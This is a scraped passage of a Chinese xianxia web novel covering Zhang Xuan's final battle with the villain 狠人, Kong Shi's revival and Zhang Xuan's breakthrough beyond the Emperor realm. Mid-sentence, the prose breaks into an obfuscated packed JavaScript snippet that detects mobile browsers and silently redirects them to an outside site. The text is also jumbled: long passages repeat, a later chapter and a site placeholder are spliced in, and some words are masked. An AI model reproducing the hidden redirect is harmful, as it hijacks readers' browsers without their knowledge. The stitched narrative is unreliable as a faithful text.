将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139937|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第180章 没有你爱吃的软饭 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 